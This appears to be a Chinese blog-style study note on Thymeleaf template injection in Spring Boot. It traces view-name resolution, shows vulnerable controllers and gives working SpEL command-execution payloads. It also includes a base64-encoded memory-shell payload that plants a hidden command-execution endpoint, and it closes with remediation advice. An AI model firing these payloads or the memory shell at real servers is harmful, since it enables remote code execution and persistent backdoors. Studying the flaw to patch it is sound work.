最近实在是不知道看什么了,来学一下和java相关的一些ssti吧,先从thymeleaf开始
介绍 Thymeleaf就是一个模板渲染引擎,和python的jinjia2一样,就不需要过多介绍了
官方文档:https://www.thymeleaf.org/documentation.html
高版本SpringBoot/Thymeleaf不存在模板注入问题,这里SpringBoot版本为2.5.10(实测得2.4.1,2.5.10已经不行了),Thymeleaf同上
Demo示例 首先就是创建一个springboot项目,我们的thymeleaf文件就写在templates目录下
创建项目的时候可以勾选thymeleaf模板引擎
一个基础的index.html
<!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <head > <meta charset ="UTF-8" > <title > title</title > </head > <body > hello 第一个Thymeleaf程序<div th:text ="${name}" > </div > </body > </html >
controller
package org.clown.springbootmemoryshell.contorller.thymeleaf;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@Controller public class DemoController { @GetMapping("/demo") public String demo (Model model) { model.addAttribute("name" ,"clown" ); return "index" ; } }
这里需要用@Controller
注解才行,因为该注解主要作用是返回视图名称,这些视图名称会被Spring的视图解析器(View Resolver)解析,从而找到对应的模板文件(如Thymeleaf模板),并将模型数据渲染到模板中,最终生成响应给客户端的视图。
@RestController
注解是@Controller
和@ResponseBody
的组合,它通常用于创建RESTful Web服务。@RestController
注解的控制器方法的返回值会自动作为HTTP响应的正文返回,这意味着返回值不会被视图解析器处理,而是直接写入HTTP响应体中。
一些语法 thymeleaf的html文件首先要包含这个
<html xmlns:th ="http://www.thymeleaf.org" >
标签
标签
作用
示例
th:id
替换id
<input th:id="${user.id}"/>
th:text
文本替换
<p text:="${user.name}">bigsai</p>
th:utext
支持html的文本替换
<p utext:="${htmlcontent}">content</p>
th:object
替换对象
<div th:object="${user}"></div>
th:value
替换值
<input th:value="${user.name}" >
th:each
迭代
<tr th:each="student:${user}" >
th:href
替换超链接
<a th:href="@{index.html}">超链接</a>
th:src
替换资源
<script type="text/javascript" th:src="@{index.js}"></script>
链接表达式
使用@{资源地址}
引入资源,引入的地址可以在static目录,也可以是互联网的资源,格式如上面的标签示例
变量表达式
这部分也是页面能动态渲染的核心,可以用${...}
的形式在model中取值,前面的demo中也可以看到我们往model中添加了属性的键值对
取JavaBean对象使用${对象名.对象属性}
或者${对象名['对象属性']}
来取值。如果JavaBean写了get方法也可以通过${对象.get方法名}
取值。
取Map对象使用${Map名['key']}
或${Map名.key}
取List集合:List集合是一个有序列表,需要使用each遍历赋值,<tr th:each="item:${userlist}">
选择变量表达式
该表达式的写法为*{…},写个例子就明白了
<!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <head > <meta charset ="UTF-8" > <title > title</title > </head > <body > <div th:object ="${user}" > <p > Name: <span th:text ="*{name}" > 赛</span > .</p > <p > Age: <span th:text ="*{age}" > 18</span > .</p > <p > Detail: <span th:text ="*{detail}" > 好好学习</span > .</p > </div > </body > </html >
@GetMapping("/user") public String user (Model model) { User user = new User ("clown" , 18 , "hello" ); model.addAttribute("user" ,user); return "user" ; }
消息表达式
文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}
语法就是用来读取配置文件中数据的。
这里也写个例子更好体会,首先在templates目录下建立clown.properties
中写入以下内容:
demo.nane=clown demo.age=22 province=UnKnown
然后在application.properties加入下面内容:
spring.messages.basename=templates/demo
html内容如下
<!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <head > <meta charset ="UTF-8" > <title > title</title > </head > <body > <div > <p > Name: <span th:text ="#{demo.age}" > </span > .</p > <p > Age: <span th:text ="#{demo.nane}" > 1</span > .</p > <p > Province: <span th:text ="#{province}" > </span > .</p > </div > </body > </html >
效果如下:
片段表达式
片段表达式~{...}
可以用于引用公共的目标片段,比如可以在一个template/public.html
中定义下面的片段,并在另一个template中引用。
公共片段:
<!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <head > <meta charset ="UTF-8" > <title > title</title > </head > <body > <div th:fragment ="copy" > © 2011 The Good Thymes Virtual Grocery</div > </body > </html >
引用公共片段:
<!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <head > <meta charset ="UTF-8" > <title > title</title > </head > <body > <div th:insert ="~{public :: copy}" > </div > </body > </html >
SpringMVC视图解析过程 视图解析的过程是发生在Controller处理后,Controller处理结束后会将返回的结果封装为ModelAndView
对象,再通过视图解析器ViewResovler
得到对应的视图并返回。
给一张SpringMVC的执行流程图
我们可以用前面的demo跟进调试一下,看一下视图是如何解析的
封装ModelAndView对象 先走到ServletInvocableHandlerMethod#invokeAndHandle
中,其源码如下:
public void invokeAndHandle (ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs); setResponseStatus(webRequest); if (returnValue == null ) { if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) { disableContentCachingIfNecessary(webRequest); mavContainer.setRequestHandled(true ); return ; } } else if (StringUtils.hasText(getResponseStatusReason())) { mavContainer.setRequestHandled(true ); return ; } mavContainer.setRequestHandled(false ); Assert.state(this .returnValueHandlers != null , "No return value handlers" ); try { this .returnValueHandlers.handleReturnValue( returnValue, getReturnValueType(returnValue), mavContainer, webRequest); } catch (Exception ex) { if (logger.isTraceEnabled()) { logger.trace(formatErrorForReturnValue(returnValue), ex); } throw ex; } }
相关的变量值
该函数内部进行了如下操作:
invokeForRequest
调用Controller后获取返回值到returnValue
中
判断returnValue
是否为空,如果是则继续判断RequestHandled
是否为True
,都满足的话设置requestHandled
为true
通过handleReturnValue
根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer
中。
这里往下走returnValue返回的是index
然后再看handleReturnValue方法,这个方法应该就是对模板进行解析,继续跟进去看看
获取一个ViewNameMethodReturnValueHandler然后继续处理,继续跟进
判断returnValue类型是否为字符型,设置mavContainer.viewName
判断returnValue是否以redirect:
开头,如果是的话则设置重定向的属性
然后返回到RequestMappingHandlerAdapter#invokeHandlerMethod方法里面
通过getModelAndView方法返回ModelAndView
获取ModelAndView视图 获取ModelAndView
后,通过DispatcherServlet#render
获取视图解析器并渲染,中间的过程就不再分析了,就是枯燥的跟着走而已
不过到这里流程也很符合前面流程图所总结的那样
resolveViewName是遍历视图解析器然后返回一个,其中里面有五个视图解析器
这里返回的View是ThymeleafView
视图渲染 最后就是调用ThymeleafView的render函数进行视图渲染
后面的具体渲染分析漏洞的时候再调试
漏洞原理 templatename漏洞 给出一个漏洞代码的demo
package org.clown.springbootmemoryshell.contorller.thymeleaf;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;@Controller public class VulnController { @GetMapping("/path") public String path (@RequestParam String lang) { return "user/" + lang + "/welcome" ; } }
这种情况是直接将参数拼接到了模板路径中
poc
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
这里即使不加.x
依然可以触发命令执行
一开始我用的thymeleaf2.5.10版本打这个payload给我报了下面的错误
View name contains an expression and so does either the URL path or one of the request parameters. This is forbidden in order to reduce the possibilities that direct user input is executed as a part of the view name.
这个错误信息表明在处理 Thymeleaf 模板时,视图名称包含了一个表达式,并且 URL 路径或请求参数中也包含了一个表达式。这种情况下,Thymeleaf 为了防止用户输入直接被执行为视图名称的一部分,禁止了这种情况。
那说明后面版本的修复是采用了禁止表达式的方式,然后看了一下具体的报错版本
是thymeleaf-spring5-3.0.15.RELEASE.jar这个版本的jar包修复了,需要将spring-boot-starter-parent的版本降一下,降成2.4.1就行了,然后这时候thymeleaf-spring的版本是3.0.11的版本
流程分析 关键在前面我们没分析的renderFragment函数的渲染过程里面
首先如上图,我们得viewTemplateName经过拼接之后的值现在是
user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}__::/welcome
然后他会判断里面是否有::字符串,这代表其是一个片段表达式
然后继续往下
会获取一个表达式解析器,然后解析表达式,且将我们的viewTemplateName用~{和}包裹起来
然后触发的过程就在parseExpression方法里面,一直往后走会走到StandardExpressionPreprocessor#preprocess方法内
这里有一个正则提取内容的匹配器
其正则匹配格式如下:
代表其匹配__…__之间的内容,也就是可以将我们里面的表达式内容分割出来了,继续往下看
最终是将我们的表达式分割出来,获得了一个VariableExpression,然后执行其execute函数执行表达式
然后层层调用最终通过SPEL来执行表达式内容
所以该漏洞实际上就是SPEL表达式执行
所以根据前面的分析我们可以知道可以不需要.x,但是下面的漏洞形式一定需要.x
URI PATH 漏洞代码
@GetMapping("/doc/{document}") public void getDocument (@PathVariable String document) { log.info("Retrieving " + document); }
这里漏洞原理总结起来就是因为ModelAndView返回值为空,所以viewTemplateName会从uri中获取,直接在{document}
位置传入payload即可
poc
http://localhost:8081/doc/lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
流程分析 来具体看一下为什么没有返回也会赋值的原因,原因主要在DispatcherServlet#doDispatch
中,获取ModleAndView
后还会执行applyDefaultViewName
方法。
可以看到此时的mv里面都为空,然后会执行一个applyDefaultViewName方法
里面会从request对象里面获取一个默认的ViewName,获取到的defaultViewName就是我们的路径
doc/lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}__::
然后就把viewname设置为了我们默认的这个ViewName
欸然后这里发现,get回来的ViewName已经把我们的.x去掉了,这是怎么回事呢,进去具体看看都发生了什么
具体是里面的一个transformPath函数,对路由进行了格式转化
首先前面两部分是去掉了前后的/,然后调用StringUtils.stripFilenameExtension方法
里面分别获取了最后一个.的索引和最后一个/的索引,然后截取到最后一个.索引的内容
到这里就明白我们最后为什么要加一个.x了吧,因为需要保证我们前面的payload是完整的,所以得在最后加一个.,其实经过分析在最后加个.就可以了,不用.x
后面的流程就和前面一样了,就不分析了
注意这个只适合无返回值的时候,不然view就会被返回值给占了
回显问题 看文章他们的回显内容显示在了前端的报错信息内部,像这样
而我的没有,他在后台的控制台的报错内容倒是有没绷住
然后有回显的poc需要::后面是有内容的,大致原因主要是在StandardExpressionParser#parseExpression
,在preprocess
预处理结束后还会通过Expression.parse
进行一次解析,这里如果解析失败则不会回显,这里就不分析了
poc在::后面随便加点内容就可以了
http://localhost:8081/doc/=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::aa.
至于我前段为什么没回显我就不想纠结了,不如直接打内存马来的方便,有关spel表达式注入的学习放下一篇文章了。
注入内存马 这里直接copy文章的一个内存马payload
http://localhost:8081/doc/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAoQoACQBRCABSCgBTAFQIAFUKAFMAVgoACQBXCAAzBwBYBwBZBwBaCgAIAFsKAAoAXAcAXQgANQcAXgoACABfBwBgCABhCgARAGIHAGMHAGQKABQAZQcAZgoAFwBnCgANAFEKAAoAaAgAaQcAagoAHABrCABsCQBtAG4KAG8AcAcAcQoAcgBzCgAhAHQIAHUKACEAdgoAIQB3BwB4CQB5AHoKACcAewEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAD3JlZ2lzdGVyTWFwcGluZwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBABhwYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBABdtZXRob2RzUmVxdWVzdENvbmRpdGlvbgEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQASTGphdmEvbGFuZy9PYmplY3Q7AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAWQcAXgcAagEAEE1ldGhvZFBhcmFtZXRlcnMBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAHwBACJSdW50aW1lVmlzaWJsZVBhcmFtZXRlckFubm90YXRpb25zAQA2TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0UGFyYW07AQAFdmFsdWUBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAqACsBAAxpbmplY3Qtc3RhcnQHAH0MAH4AfwEACGNhbGMuZXhlDACAAIEMAIIAgwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAIQAhQwAhgCHAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcMAIgAhQEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAAIvKgwAKgCJAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAAqAIoBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAAqAIsMAIwAjQEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAjgArAQAMaW5qZWN0LWVycm9yBwCPDACQAJEHAJIMAJMAlAEAEWphdmEvdXRpbC9TY2FubmVyBwCVDACWAJcMACoAmAEAAlxBDACZAJoMAJsAnAEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcAnQwAngCfDAAqAKABABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEWdldERlY2xhcmVkTWV0aG9kAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBACNvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1cwEAAk9LAQAlTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOwEAOihMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7KVYAIQANAAkAAAAAAAMAAQAqACsAAQAsAAAALwABAAEAAAAFKrcAAbEAAAACAC0AAAAGAAEAAAAMAC4AAAAMAAEAAAAFAC8AMAAAAAkAMQAyAAIALAAAAXEACQAHAAAApBICTLgAAxIEtgAFVyq2AAYSBwa9AAhZAxIJU1kEEglTWQUSClO2AAtNLAS2AAwSDRIOBL0ACFkDEg9TtgAQTrsAEVkEvQAPWQMSElO3ABM6BLsAFFkDvQAVtwAWOgW7ABdZGQQZBQEBAQEBtwAYOgYsKga9AAlZAxkGU1kEuwANWbcAGVNZBS1TtgAaVxIbTKcAEk0stgAdEh5MsgAfLLYAICuwAAEAAwCQAJMAHAADAC0AAABCABAAAAAOAAMAEAAMABEAKQASAC4AEwA_ABQAUQAVAF4AFgBwABcAjQAYAJAAHQCTABkAlAAaAJgAGwCbABwAogAeAC4AAABSAAgAKQBnADMANAACAD8AUQA1ADQAAwBRAD8ANgA3AAQAXgAyADgAOQAFAHAAIAA6ADsABgCUAA4APAA9AAIAAACkAD4APwAAAAMAoQBAAEEAAQBCAAAAEwAC_wCTAAIHAEMHAEQAAQcARQ4ARgAAAAUBAD4AAAABADUARwAEACwAAABoAAQAAwAAACa7ACFZuAADK7YABbYAIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAACMAGgAkAC4AAAAgAAMAAAAmAC8AMAAAAAAAJgBIAEEAAQAaAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAATAAAAAwBAAEATQABAE5zAEgAAQBPAAAAAgBQ"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x
然后访问 /asd?cmd=whoami
。
其他姿势 ${…}改成*{…}也是可以的
省略__
当Controller如下配置时,可以省略__
包裹,因为我们不需要特意去分割字符串了
@RequestMapping("/path") public String path2 (@RequestParam String lang) { return lang; }
修复
配置 @ResponseBody
或者 @RestController
,这两个注解一开始也提到过,他们会将返回值会自动作为HTTP响应的正文返回,这意味着返回值不会被视图解析器处理,而是直接写入HTTP响应体中。
在返回值前面加上 “redirect:”
这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
@GetMapping("/safe/redirect") public String redirect (@RequestParam String url) { return "redirect:" + url; }
在方法参数中加上 HttpServletResponse 参数
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。
@GetMapping("/safe/doc/{document}") public void getDocument (@PathVariable String document, HttpServletResponse response) { log.info("Retrieving " + document); }
不过这些修复都比较临时,还是升级到新版本比较好
就先看这么多吧,新版本还有点东西有点懒了不想写了,之后遇到再学,毕竟实战感觉这种ssti并不会很多🥲
参考 https://xz.aliyun.com/t/10514?time__1311=CqjxRD0iiteiqGNeeeuDQwqxfOj6eHDBWoD
https://www.anquanke.com/post/id/254519
https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.html